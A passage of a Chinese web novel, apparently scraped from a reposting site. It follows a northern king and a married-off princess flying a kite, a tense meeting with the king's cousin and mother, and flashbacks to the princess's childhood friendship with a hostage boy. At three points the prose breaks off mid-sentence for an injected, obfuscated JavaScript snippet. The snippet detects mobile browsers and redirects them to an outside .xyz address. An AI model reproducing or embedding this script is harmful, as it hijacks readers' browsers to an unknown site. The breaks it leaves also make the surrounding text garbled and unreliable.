纤长的眼睫卷翘,在眼下投下浅浅的痕迹。花韵之是习惯侧着蜷起身子睡的,此时陷入深眠,本看不出有什么肉感的脸颊也被压出小小的软肉。独孤朔轻戳了戳,手感颇好。 公主似乎察觉到了他的触碰。 细细的柳眉不自觉蹙起,独孤朔无声笑了笑,便以指尖揉开了公主的眉心。随着细眉舒展,一个轻吻落下,轻轻松开环抱着公主的手,王上离开了床榻。 自回到黑水的那日夜里,独孤朔借着故事成功与花韵之再度同榻而眠,便一直同榻到了今日。花韵之一向不善拒绝旁人,何况还是独孤朔,便也只能任着他去。 独孤朔隐约能察觉到花韵之的不情愿。 于是他每日晨起时都会先花韵之一步离去,好让初醒的公主没那么不自在。 这或许是有效的。 因为无论在黑水还是草原,晨间的花韵之常常要在床上再蜷一会才会洗漱更衣,迷迷糊糊地用早膳。可随着一碗清粥入腹,花韵之多半也清醒过来。而待他挽发上妆后,往往独孤朔也回到了寝殿。 今日亦是如此。 “公主。” 携着晨间凉爽的风,独孤朔回到寝殿。花韵之放下手中摆弄的鲁班锁,迎上前去。 “王上。” 纤长的五指落到男人的肩头,欲要为其卸下外袍。但独孤朔却握住了花韵之的手。 “今日黑水有风。” “公主若得闲,可要与我一同去放风筝。” …… 晚夏与秋的交替无形。 自回到黑水后,似草原上耗费了太多精力的花韵之难免倦怠几分。他已有几日未出寝殿,直到今日瞧见宫中的树黄了叶子,风也染上几分凉爽,沉甸甸的果实坠在细细的树枝上。 公主才发觉秋的降临。 大梁的皇帝陛下喜好绿叶,所以江南宫中所种之树都是常年青绿。因此,花韵之还是第一次见到这般醒目的秋。目之所及,一切似乎都是斑斓的。远处的群山蔓延,耀眼的色彩像是天宫的金盘携着蟠桃落下人间,砸出了大片红黄。 秋日是适合放风筝的。 而独孤朔为花韵之准备的是一只来自大梁的纸鸢。 繁复的纹样多彩绚丽,一如公主记忆中的风筝模样。可握着纸鸢,只曾在偏僻宫室瞧着锦园上空纸鸢翩翩的花韵之轻轻抿起了唇。 “……王上。” 花韵之未曾放过风筝。 公主幼时的身子实在脆弱,几乎三日一小病,五日一大病。莫说是放风筝,公主的母妃甚至不许他在春秋有风的日子出门。而在这些时日里,公主便只能望着窗外的天地,偶尔有远处闯入狭小窗框的纸鸢,就是公主乏味日子里最大的惊喜。 后来,随着身子渐渐康健,交到朋友的花韵之虽得到了一只独属于他的纸鸢,却也全然没有让其于天地翱翔的机会。 独孤朔似乎知晓花韵之的困境。 “公主。” 微微俯身,勾住花韵之的指尖,顺势握住柔软的手。注视着那双水润的明眸,独孤朔的声音很缓:“放纸鸢并不难。我教公主,可好。” 眼睫似乎颤了颤,花韵之轻轻点头。 “……多谢王上。” 放纸鸢或许真的不难。 在细致地为花韵之讲过该如何做后,清楚花韵之是初次尝试的独孤朔选择陪花韵之一起。并不需犹豫,随着花韵之似懂非懂地应下后,独孤朔便握住纸鸢的木架,向远处奔去。 长长的细线快速脱离花韵之手中的线盘,纸鸢像是有生命一般渐渐挣脱独孤朔的指间。花韵之还未反应过来,那只绚烂的纸鸢便逆着风,奔向了树梢云间。 “公主。” 男人的声音自远处传来。猛然回神,花韵之握住细线,有些笨拙的一拽一放。 随着动作,纸鸢似乎晃了两下,而在花韵之忧心它会不会落下之际,一阵恰到好处的风袭来。纸鸢又晃了两下,便平稳地在天际翱翔。 回到花韵之身侧,独孤朔垂眸注视着专注的公主。长长的额发与流苏一同滑落,暴露出光洁的额头与不自觉睁大的眸。蜜色的眼眸如琥珀般澄澈,里面盛着日光,盛着纸鸢,也盛着蓝蓝的天。 这只纸鸢并没有飞的很高。 它只飞了一会,便摇摇欲坠地开始晃,最后一头向着花丛扎了下去。 花韵之轻轻叫了一声,便小跑着上前想要接住那只纸鸢。独孤朔也没有拦他,他只缓步跟在公主身后,看着公主抱住那只巨大的纸鸢。 “王上。” 流苏似乎挂在了头发上,像是有些混乱的花蕊。但花韵之却浑不在意,小口小口平复呼吸的公主仔细检查过怀中纸鸢,便回眸对独孤朔弯起眉眼:“纸鸢没有坏。” 虽然没有踏入花丛,但花韵之这幅模样实在是像极了在花丛里跑过一圈,带着满身青草与落花的兔子。 凌乱却又惹人怜惜。 站定花韵之身侧,独孤朔抬手轻理了理花韵之的发。钩织在一起的流苏与发被拆解开来。一向不苟言笑的王此时似乎含着笑意,他温声道:“公主救纸鸢于畏难,当真是英勇无双。” 这话说的认真却又有趣,带着几分玩笑的意味,令花韵之不自觉红了耳尖。公主轻轻看了独孤朔一眼,目光似有些嗔怪,但更多的则是不自知的撒娇。 “王上怎么拿妾开玩笑……” 花韵之的声音低若蚊蝇,却令独孤朔弯起了唇。 “是我之过。”王的声音很缓:“公主原谅我,可好?” 花韵之又轻轻看了独孤朔一眼,小声道:“我没有生气……” 低低的笑声溢出,在花韵之投来谴责的目光前,忍俊不禁的独孤朔压住了自己的笑意。他再度拉起花韵之的手,转移话题温声问道:“公主可还想放风筝。” 花韵之轻轻应了一声。 独孤朔又为花韵之跑了几次,助他成功放了几次风筝。便在花韵之期盼的目光下,将再次落下的纸鸢塞到了他的怀中。 “这次公主自己来,可好。” 花韵之眨了眨眼,终是弯起唇角。 “嗯!” 在草原日复一日的骑射让公主的体魄健康几分,虽然他依旧瘦弱,更没有养出什么肌肉。但携着纸鸢逆风奔跑,将其送到天上,于公主而言也算不得困难。 携着风筝,公主在青石板路上小步跑着。凉爽的风撩起花韵之的鬓发,也让他的衣袍随风而动,发出并不刺耳的声响。 眼眸微微眯起,有些聒噪的风在耳边吵闹,花韵之却不自觉弯起唇角。可是愉悦并未持续太久,在公主于拐角处回眸查看风筝是否有将飞起来征兆的瞬间,他便撞入了一个结实的怀抱。 “唔!” 重重撞上去的花韵之不自觉闷哼一声,如本能般向后踉跄退去。但在稳不住身形的公主将要直接坐到地上的瞬间,结实的手臂却圈住了纤细的腰肢,有些讶异的男声响起:“公主?” 额头被流苏压了一下,染上浅淡的红痕。辨认出声音主人的花韵之愣了愣,不出意料地对上了一双灰蓝色的眸子。 “……完颜万夫长?” 是完颜陌。 花韵之很意外完颜陌在景园中,完颜陌似乎也很意外花韵之会在此处。他垂眸看了看花韵之手中的纸鸢与线盘,似恍然大悟般开口:“公主今日是来放纸鸢的?” 轻轻应了一声,花韵之向后退了一步,想要离开完颜陌的怀抱。察觉到怀中人的动作,完颜陌似后知后觉地意识到什么,松开圈着腰肢的手。 他礼貌且克制地向后退了一步,才弯眸笑道:“公主莫怕,我是来宫中做事的,回程路上才想着来景园走走。不过,一个人可不好放纸鸢,公主若不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023628|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫌,我与公主一同,可好?” 花韵之抿了抿唇,想要拒绝完颜陌。 且不论完颜陌虽然一直待他不错,但……花韵之总觉得他很违和。而在大梁皇宫的经历更让公主深知与外男来往密切并非好事,特别是贵为皇亲国戚的外男。 “多谢完颜万夫长,但妾……” “完颜陌。” 花韵之斟酌的词句还未吐出,独孤朔近乎冷漠的声音便自他身后响起。手臂圈上腰肢,大掌扣住侧腰,花韵之被猛地按入了一个滚烫的怀抱。 蜜色的眼眸在眼眶中战栗,花韵之不自觉抬首看向身后的男人,却只能看到其锐利的下颚。靠在宽阔的肩头,花韵之本有些杂乱的心跳渐渐平复,他微微抿起了唇。 而独孤朔似安抚性地抚了抚公主的腰。 “完颜陌,你来此作甚。” 独孤朔的声音冷冷,完颜陌的笑却全然不变。在内侍奔来的脚步声中,他微微俯身,格外优雅地行了一礼:“王上,臣不过是闲来无事,来景园瞧瞧秋日风光罢了。” 独孤朔面无表情地注视着他。而直起身,完颜陌的目光无声划过王怀中的公主,又轻轻笑道:“臣也没想到,能在此地巧遇公主与王上,当真是缘分。” 气氛怪异起来,花韵之有些无措地揪住了袖口。而独孤朔凝视完颜陌良久,缓缓开口:“孤命你寻的旧物,你可寻到了。” 完颜陌的笑意瞬间淡了三分。 而静静注视着他,独孤朔好整以暇道。 “完颜万夫长,孤记得你并不清闲。你……罢了。” “你可以退下了。” 毫无波澜的声音落下,独孤朔揽着花韵之转身便走。被强行揽在怀中的公主最初跟不上独孤朔的大步,几度踉跄。似乎是察觉到他的不习惯,独孤朔渐渐放小了步子。而公主抬首看向独孤朔,独孤朔却没有看他。 小道上,人影渐行渐远。完颜陌静静立在那里,注视他们二人消失在拐角处,才轻轻笑出了声。 旧物。 微微眯起眼睛,完颜陌似叹非叹。 “欲买桂花同载酒,如何能似……” “少年游?” …… 独孤朔将花韵之带回了最初的那片空地。 “公主,可要继续放风筝。” 花韵之抬首注视着独孤朔,沉默良久后,轻轻摇头。 “妾有些累了,王上。” 独孤朔也没有强求:“那我陪公主回寝殿休息。” 拿着纸鸢,花韵之与独孤朔并肩漫步在宫道上。他又是几度抬眸去看独孤朔,而这一次,独孤朔亦垂眸看向他。 “怎么了,公主。” 似乎是没想到自己会对上独孤朔的目光。花韵之愣了愣,又轻轻摇头:“没有……” 独孤朔却好似有读心术:“公主可是在想,完颜陌今日为何会在景园。” 花韵之迟疑片刻,轻轻应了一声。而独孤朔稍稍收紧了握着他的手,淡声开口:“他应是来寻完颜太妃的。” 完颜太妃? 这个称呼实在是陌生,花韵之顿了良久,才有些迟疑地开口:“……完颜太妃?” 独孤朔默了默,才补充道:“是我的母亲。” 花韵之恍然大悟。 独孤朔与完颜陌是表亲,独孤朔的母亲自然也姓完颜。只是公主从入宫来就从未见到过这位本该是太后的太妃,甚至从未听说过对方,便自然而然地未联想到一起。 可……完颜太妃这个称呼,未免有些太过疏离。 花韵之轻轻抿唇,小心地去看了一眼独孤朔。而独孤朔察觉到他的目光,再度捏了捏他的手:“在想什么。” “完颜太妃……”花韵之的声音很低:“我需要去拜见吗。” “不必。”独孤朔斩钉截铁。 可随着话音落下,未过多久,他又放缓了声音:“她不会想见你的,公主。” 闷闷应了一声,花韵之没有再追问下去,独孤朔也没有继续说些什么,只与花韵之回到了寝殿。 17.般钦 月黑风高夜。 “吱呀——” 大门缓缓开启,秋风席卷而入,令安然的烛火摇曳。幽幽火光笼不住晦暗中的人影,只能窥见染着寒光的银针穿梭于布匹之上。 “母亲。” 站定于门前,抬手拦住欲要上前点灯的内侍,独孤朔注视着那安静到近乎诡异的女人。 “儿臣来拜见您了。” 穿梭的银针一顿,女人缓缓抬眸,一双灰蓝色的眼落在布满红血丝的眼球上,光是看着就让人心惊肉跳。 “……你来做什么。” 完颜太妃的声音低哑,而独孤朔微微俯身行了一礼,道:“今日儿臣在宫中偶遇表弟,遂来见见母亲。是儿臣失职,未能日日伴母亲身边尽孝,母亲近日可还好。” “呵……你若不来见我,我过的便好。” 讥讽与低笑溢出唇间,独孤朔却面色不改,只缓步上前。完颜太妃死死注视着他的身影,直到他将要踏入晦暗,完颜太妃才猛地抓起剪子狠狠抛向他,厉声尖叫。 “滚出去!” 微微侧身避开铁剪,独孤朔顺从地停住了脚步。 “母亲。” 与之相似的灰蓝眸淡淡扫过那入木三分的银剪,独孤朔格外平静:“您的病又重了。” “我没有病!”完颜太妃的声音刺耳:“独孤朔!你到底想做什么?你难道也要杀了我吗!” “你个畜生!滚出去!” 锥子剪子刀子,一样样利器不停地飞向独孤朔,而他却八风不动。静静注视完颜太妃良久,独孤朔终是似有若无地扯了扯唇角:“母亲。我若是畜生,那您是什么,阿兄又是什么。” 不徐不缓的声音平和,可被刻意加重的“阿兄”二字却似乎触动了完颜太妃紧绷的神经。烛火晃动,完颜太妃的面容在一瞬的空白后几近狰狞。 “畜生……该死的畜生!” 扭曲的容颜不复艳丽,完颜太妃抓起手边沉重的箱子,狠狠掷向独孤朔的头颅。 “你也配提般若!你也配叫他阿兄!你怎么不去死!怎么不去死!” 箱子重重砸在完颜太妃身前的地上,淡淡看过地上被砸出的凹陷,独孤朔面不改色:“母亲,他如何不是我的阿兄呢?” “何况,母亲。”独孤朔缓缓上前:“杀人者人恒杀之,这应当不是什么深奥的道理。” “您愿意让他杀了我,如何就不愿让我杀了他呢。” “我难道不是您的孩子吗。” …… 天边的明月弯弯。 早已沉入睡梦中的公主安静,回到燃着几根红烛的寝殿,独孤朔坐在榻边,端详着花韵之的容颜,沉默了很久很久。 质子……和亲公主。 如何算不得般配。 指尖轻轻拨起公主的发,又虚虚临摹过公主的五官。独孤朔在脑中拼凑着过去的记忆,终是微微俯身,轻吻了下花韵之的眉心。 “好梦。” …… 孤邙并不是一直强大,大梁更不是永远疲弱。 甚至十年前,仅仅是十年前,大梁还大胜孤邙。汉人的兵马攻入黑水刺入孤邙心脏,逼的孤邙不得不送出质子求和。 “娘娘,陛下将孤邙送来的质子安置在了玄宁宫。” 那是大梁元顺十一年,十三公主八岁。 尚未启蒙的公主只隐约意识到自己不同于其他姐妹。纵使身体过分脆弱,隔三差五便有个小灾小病,八岁的花迟也依旧算得无忧无虑,每日唯一的苦恼就是又要喝苦涩的汤药。 而梳发的手一顿,趴在母亲膝头的孩童抬首看去,却未看清女子的神情。良久的沉默后,修长的五指再度撩起了公主的长发,女子淡声道:“我知晓了。” 木梳轻轻划过长发,而垂眸对上花迟的目光,叶婕妤笑了笑:“我们小迟儿怎这样认真?可是在想母妃为你今日挽怎样的发式?” 如葡萄般圆润明亮的棕眸轻眨了眨,花迟偏了偏头:“母妃,什么是质子?” “质子呀……” 并未觉得孩童不懂便敷衍,叶婕妤认真想了想,试图以花迟当下能理解的方式解释道:“就像母妃养的来福。母妃和小迟儿打赌输了,把来福送给小迟儿几日,陪小迟儿玩耍。或许母妃日后会将来福赢回来,但来福当下是母妃交给小迟儿的筹码。” “所以来福就是母妃送给小迟儿的质子。” 来福是叶婕妤还算得宠时得的一只白犬,它很喜欢花迟,花迟也很喜欢它。 “所以孤邙的质子就是孤邙的国王与父皇打赌输了送来的?” 说罢,公主又认真想了想,一本正经道:“母妃,所以他们送来的也是来福这样的犬儿吗?我可以去找它玩吗?” 叶婕妤愣了愣,有些忍俊不禁。 “不是犬儿,应当是王子,就像小迟儿的哥哥。” 她温声解释,又缓声道:“不过,小迟儿如果想去找他玩……可能不太行。他大抵不会喜欢我们小迟儿,母妃也会担心小迟儿呀。” 花迟一向乖巧。 没有再追问诸如“父皇也会将皇兄送走吗”“为什么孤邙的国王要送一个王子来”的问题,花迟只对着母亲弯唇笑起。 “多谢母妃,我知晓了!” 孤邙送来的的确是一位王子。 但此次送来的除了王子,也有一位是孤邙战死主将完颜克勤的独子,与那位王子一同被送来,以做“赎罪”。 这是叶婕妤几日后得到的消息,但她还未来得及叮嘱花迟远离玄宁宫与未曾见过的异族,小公主便意外地与其撞了个满怀。 那是一个平平无奇的傍晚。 那本该是一个平平无奇的傍晚。 夕阳西下,小公主在小道上轻快地走着。这是回叶婕妤寝宫的必经之路,一向偏僻。拐角处,未曾想到这条路会有人的花迟在看到那人时,已经刹不住脚了。 小公主很轻,但那个异族少年似乎只剩下一身骨头。在拐角处重重撞入少年怀中的花迟与少年几度踉跄,终是一同倒在了地上。 “你……” 少年有些愕然地看向那个小炮弹。 怀中的孩童娇小,像一个瓷娃娃,精雕细琢。纵使雪白的额头被撞出了大片粉红,但当那双蒙着水光的蜜色眼眸抬起时,少年口中的讥讽依旧被咽了回去。 “……这很没意思。” 对着因疼痛而要哭不哭的小公主,面无表情的少年似乎格外铁石心肠,他冷冰冰道:“你是不是大梁的公主,是你的哪位兄长派你来的。” 兄长? 什么兄长。 泪珠挂在长睫上,颤颤巍巍。花迟眨着眼,愣愣地看着身下有些过分苍白病态的少年。 比起当下勉强还算得圆滚滚的小公主,在孤邙与大梁皆没过上一天好日子的质子显然像具白骨。而萦绕在他周身阴郁怪异的气场更是让人如本能般感到不喜,如本能般想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029130|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃避。 花迟其实有一点害怕。 但似乎察觉到一口巨大的黑锅将要扣到他头上,小公主虽然瘪了瘪嘴,却还是勉强压下了泪意,小心翼翼地以指尖轻拽了拽这个少年的衣摆:“什么兄长……” 少年:“……” 垂眸注视着瓷娃娃般的孩童,少年的表情似乎更冷了:“没什么。公主殿下,你可以自我的身上起来吗。” 小公主有些委屈,但他还是闷闷应了一声,乖巧地自少年身上爬起,又转过身悄悄抹着不受控制的眼泪。 因为身量很高所以能看到这一切少年:“…………” 闭了闭眼,少年还是面无表情地自身上摸出了一张勉强算得帕子的干净小布,递到了公主面前。 “公主殿下,我应当没有欺负你。” 本就摔痛的花迟真的要哭了。 小公主从小长到大,还是第一次有人以这种语气对他说话。从未受过这种委屈的小公主心里酸酸的,格外委屈地应了一声,并踮起脚想要接过少年手中的帕子。 少年:“……” 看着这个小公主哭包但乖巧的样子,少年沉默良久,终是蹲下身,扶住公主的肩:“别动,我给你擦。” 花迟欣然接受。 眼泪一点一点被轻柔地擦掉,小公主也暗暗在心里原谅了这个有些凶的小哥哥。 睁着那双蜂蜜般的眸子,小公主自以为隐蔽地打量着这位与他生的截然不同的异族少年。而赤裸裸的目光长久定格在脸上,被盯的浑身不适的少年面无表情地戳了戳小公主肉嘟嘟的脸颊。 “看什么。” 肉肉的脸颊手感很好,少年忍不住又戳了戳。 而被哄好的小公主格外宽容,不仅不在意他的触碰,还弯唇笑起:“哥哥,你就是孤邙送来的王子吗?” 孤邙王子? 听到这个意料之外的称呼,从未有一日被当做王子的少年的指尖一顿。莫大的荒唐在心底翻涌,他很想讥讽地笑一笑,说几句冷冰冰的话刺伤这位天真的小公主。 但额发下,那因毒而变作深黑的眼眸似乎又开始痛了。 最终,少年只是神情冷淡地捏了捏小公主的脸颊,似乎只是随口道:“不是,我是他的侍从。” 而顿了顿,他又道:“也请公主殿下不要叫我哥哥,我出身卑贱且是异族,不配做公主殿下的哥哥。” 这话令小公主觉得奇怪。莫名很不喜欢这句话与这种形容的公主看着形销骨立的少年,终是闷闷道:“可是我不知道该怎么叫你……异族哥哥,那你可以陪我玩吗?” 少年:“……” 注视着小公主水汪汪的眼睛,少年终是认命般叹了口气。 “完颜般钦。” 无甚起伏的声音响起,小公主眨了眨眼,而完颜般钦又捏了捏公主软乎乎的脸颊,终于平复了难言的心绪。 “我叫完颜般钦,公主殿下可以唤我的名字。” 小公主轻轻点了点头:“我知道了,般钦哥哥。” 完颜般钦:“……” 注视着一脸乖巧的小公主,实在不知道该说些什么的完颜般钦只好报复性地揉了揉小公主的脸,随即一本正经地直起身:“公主殿下,恕我不能陪您玩。” “也望公主殿下日后莫要说出今日与我来往之事,恐为公主殿下引来祸端。”说罢,完颜般钦微微颔首:“我还有事要做,便先离去了。” “告辞。” 18.孤星 大梁的公主注定长成精雕细琢的傀儡。 成长中的花迟亦不例外。 四书五经压抑着他,女则女训束缚着他,狭小的宫室禁锢着他。理所当然,身为孩童的公主不会喜欢这些。也是因此,意料之外的一只鸟儿,一朵花儿,一阵微风,都能让花迟感到快乐,感到兴奋,感到好奇。 而孤邙,好遥远的地方。 而来自孤邙的完颜般钦,意料之外的完颜般钦,带着风雪气息、诞生自遥远国度遥远天地的完颜般钦,便理所应当的得到了公主的好奇与注意。 尚且闲暇的花迟开始频繁的路过玄宁宫,却无一例外都只能看到紧闭的宫门。宫门内什么声音都没有,透过门缝,也看不到任何应该出现的身影。 没有人。 没有任何人。 思索片刻,已是第二十三次“偶然”路过玄宁宫的公主终是踮起脚,叩了叩门。 “打扰了!” 孩童的声音清脆:“请问有人在吗。” 声音似乎在宫墙间回荡,像是掷出石子留下的水波。可长久的静默后,大门内却没有任何回应。 抿了抿唇,花迟第二十三次离开了。 夕阳西下,残阳撒满宫道,也落在了遍体鳞伤的少年上。擦去唇边溢出的血迹,再一次被那些恶劣的皇子们戏弄,险些跌下深井死无葬身之地的少年拖着带有大片血痕的腿,踉跄着想要回到居所。 这是第多少次了。 完颜般钦不知道。 但他知道,中原人恨他,恨他身上流淌的血脉,恨他真正的姓氏与身份,恨他那双蓝色的眼睛。 只是戏弄又如何够呢。 他们想要割开他的皮肉,放出他的血液,刨出他的心脏。他们想要砍断他的骨骼,打断他的脊梁,让他与他的母国一样匍匐在他们脚下,做最卑微的犬。 在中原人眼中,孤邙人是不配做人的。 诚然,若孤邙战胜,孤邙人也不会将中原人当做人。可身为母国的献祭品,从未对中原汉人做过任何恶事的完颜般钦又怎么能不愤怒,怎么能不怨恨。 完颜般钦不知道自己能不能活着离开这里,不知道自己能不能活着回到孤邙,更不知道自己能不能保住比他承担更多中原人仇怨的血亲。 他不知道。 但他想,如果他能活着回到孤邙,他一定要成为最英勇的战士,他一定要亲自割下中原王朝的骨肉,他一定要杀死所有的中原王族…… “般钦哥哥!” 思绪猛然断裂。 愕然的完颜般钦抬首看去,却对上了被日光笼罩的孩童。他立在宫墙的晦暗下,看着提着裙摆的小公主快步跑上前来。日光温暖的气息包裹着公主,少年心中沸腾的杀意却似乎无声平息了三分。 “……见过公主殿下。” 低哑的声音响起,而看着少年狼狈至极的模样,缓缓停住脚步的小公主咬紧了唇。 “般钦哥哥,你、你怎么了……” 听声音,小公主似乎又要哭出来了。 完颜般钦有些奇怪他哪里来的这么多眼泪。 但垂首看着慌乱无措,小心翼翼来到他身前,想要触碰他的伤处又不敢的小公主,完颜般钦的指尖仍难以遏制地颤了颤。 他沉默半晌,终是低声开口:“无事,公主殿下。只是意外摔了。” 这倒也不算说谎。可在小公主追问他怎么摔的时,完颜般钦却开始了信口胡说:“王子殿下想吃树上的李子,我去爬树,摔下来了。” 小公主皱起了眉:“他怎么可以这样!” 面容笼在晦暗间,完颜般钦似乎笑了笑:“公主殿下,孤邙人都是混蛋,王子殿下也不能免俗。公主殿下日后一定要远离他们,也不要再与我……” 忽然。 柔软的小手握住粗粝的手掌,轻轻的呼吸打在了已经停止出血的伤口上。近乎泄愤的话语戛然而止,堵在喉头。血痂似乎也开始痛了,完颜般钦不敢置信地注视着小公主,而踮起脚轻轻吹着完颜般钦的伤口,花迟看着那大片骇人的血痕,第一次有了讨厌的人。 “我不会理他的……我讨厌他。” 轻轻的声音落下,小公主又抬眸看向完颜般钦:“般钦哥哥,是不是很痛……我去取药箱来,般钦哥哥等我,好不好。” …… 以看到了受伤小鸟为借口,花迟很快便拎着药箱回来了。 “般钦哥哥!” 一路上都在忧心那个讨人厌的孤邙王子将完颜般钦带走的小公主眼前一亮,快步上前拉住了完颜般钦的指尖。小公主担忧地看了看完颜般钦腿上的血痕,抿了抿唇。 “般钦哥哥能走吗。” 完颜般钦缓缓点头,又俯身拿起了对小公主而言刚刚好,对他来说就有些局促的小药箱。 小公主愣了愣,想要取回药箱,却被完颜般钦刻意无视。 “般钦哥哥,你手臂受伤了……” 小公主似乎有些着急,而完颜般钦终于垂眸看向了他。沉默片刻,完颜般钦直接俯身将小公主抱了起来。 惊叫一声,小公主忙圈住了完颜般钦的脖颈。注视着愣愣看他的小公主,完颜般钦面无表情地开口:“没关系。” “受伤,我也可以抱起来公主。” 这无疑是僭越的,甚至冒犯的举措,这也是完颜般钦的刻意而为之。他希望小公主厌恶他,恶心他,最好永远不会再靠近他。但小公主却眨了眨眼,又乖巧地点了点头。 “般钦哥哥好厉害!” 完颜般钦:“……” 而似乎是想要安抚他,小公主抿唇对他笑了笑,便讲起了自己是如何智取药箱的故事。完颜般钦就静静听着,只有偶尔被小公主湿漉漉的眼睛看的实在太久,才会近乎冷淡地开口回应。 就这样迎着落日残阳,他们回到了玄宁宫。 玄宁宫中依旧没有任何人,让小公主稍稍安下了心。他悄悄抬眸去看完颜般钦,而完颜般钦俯身放下他,并放下了药箱。 “公主,那里有洗好的果子,有些酸。” 完颜般钦很直白:“公主可要尝尝。” 小公主想了想,有些犹豫要不要吃一个。他觉得这是完颜般钦的心意,拒绝不太好;可自己不缺吃喝,吃完颜般钦的好像也不太好。可完颜般钦却已经拿起了果子,递到了花韵之的手中。 那个果子很漂亮。 红彤彤的模样看着便让人口舌生津。将“有些酸”的形容忘却脑后,小公主纠结片刻,终是决定日后拿来自己的果子送给完颜般钦,算是与完颜般钦交换。 于是,小公主轻轻点头,将果子递到唇边,毫不犹豫地咬下了一大口。 啊——! 漂亮的小脸猛地皱起,咬下果子的公主觉得自己反被果子咬了。 含着一小块果子,小公主不知吐好,还是咽下好。而看着他那副无措的莫样,完颜般钦无声弯了弯唇角,并将手递到了小公主唇边。 “吐了吧。” 小公主倔强地想要摇头,并努力咽下果子,却架不住果子实在是酸。只轻轻嚼了一下,小公主的脸就皱的更厉害了,完颜般钦再度开口。 “吐。” 抬眼看了看完颜般钦,小公主终于悻悻地将果子吐到了地上,而不是完颜般钦掌心。 完颜般钦顿了顿,倒也没说些什么,只是接过了小公主手中的果子。他面不改色地在小公主咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039551|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的地方咬下,似乎全然没有被酸到。 小公主愣愣地看着完颜般钦,而随着完颜般钦将那一颗果子吃完,小公主的眼睛也亮晶晶的:“般钦哥哥好厉害!” 完颜般钦:“……” 完颜般钦:“?” 可小公主不管完颜般钦的疑惑,只拎着药箱到完颜般钦的身旁蹲下。他以井边水桶中的清水洗了洗完颜般钦伤口上的泥土,随后又取出酒液。 “会有些痛。” 话音落下,烈酒落上完颜般钦的伤处。冷汗在瞬间溢出,完颜般钦却一言不发,只定定注视着专注的小公主。 而将伤口做了简单的处理,花迟洒上药粉,便取出纱布,开始为完颜般钦包扎。一圈又一圈,完颜般钦的手臂并未被缠成粽子,似乎很擅长处理伤口的小公主细致地剪断纱布,打了一个漂亮的结。 可是完颜般钦只欲让花迟包扎自己的右手臂。至于双腿,腰腹,与肩颈处的伤,则是他自己处理。小公主有些不愿意,却又争不过完颜般钦,只好在门外闷闷等着,等到把自己裹得厚厚实实的完颜般钦走出厢房。 完颜般钦似乎并不擅长包扎。 “般钦哥哥……” 小公主轻戳了戳完颜般钦腿上厚重的纱布:“这样伤口会烂的。” 完颜般钦顿了顿,想说无事。小公主却先自告奋勇,以一双亮晶晶的眼睛看着完颜般钦:“我教般钦哥哥包好了!” 注视着那双眼睛,任何人都很难说出拒绝的话语。 “……嗯。” 低低的声音响起,在完颜般钦的注视下,小公主极有耐心且细致地演示了一遍,完颜般钦又回房缠了一遍。而最后,看着完颜般钦穿好衣服便全然不能再看出纱布的模样,花迟满意地弯起唇角。 “这样,那个讨厌的王子就不能为难般钦哥哥了!” 刚刚意识到花韵之这般做的缘由,完颜般钦愣了愣,终是低声道。 “多谢公主殿下,但我……” 完颜般钦想说些什么。只是话未彻底说出口,就被小公主无意打断。 “哎呀,般钦哥哥!” 慌乱地看着天上月亮,小公主着急:“怎么太阳都没了!” 小公主近乎手忙脚乱地收拾着药箱。而完颜般钦顿了顿,也没有再继续说下去,只是陪着小公主一起收好了药品。 “般钦哥哥!” 拎着药箱,小公主奔到门前,又猛地停止脚步,回首对着完颜般钦挥了挥手。 “好好养伤!如果那位讨厌的王子又欺负般钦哥哥,般钦哥哥一定要记得和我说!” 只长到完颜般钦腰间的孩童扬起下巴。 “我会保护般钦哥哥的!” “……” 这次,完颜般钦沉默了很久很久,才再度缓缓开口。 “多谢公主殿下,但不必了。” “我可以保护好自己,就不劳公主殿下费心了。” 小公主不信,而看出他想法的完颜般钦又默了默,终是低声道。 “今日是我冒犯,僭越了公主殿下。公主殿下日后还是不要来寻我了。” 他本就是人人厌弃的天煞孤星,只能带来灾祸。贪恋短暂的、不属于他的温暖已是他不知廉耻,欺骗天真的稚童更是他心思龌龊。可若真的将这个小公主拽入深渊,那他便是真的罪该万死。 可小公主愣了愣。 “般钦哥哥,我们不是朋友了吗?” 朋友? 完颜般钦僵住。 “般钦哥哥。”小公主认真地说:“我认为我们现在是朋友。母妃与我说,我应该帮助我的朋友。” “我真的会保护你的!般钦哥哥!” 19.大梦 江南的夏像蒸炉。 四面八方皆是延绵不断的热意,唯有扇子能带来几分凉爽。徐徐凉风吹的花迟眯起了眼,而叶婕妤看着他那副模样,不禁轻笑出声。 “小迟儿是不是要热坏了?” 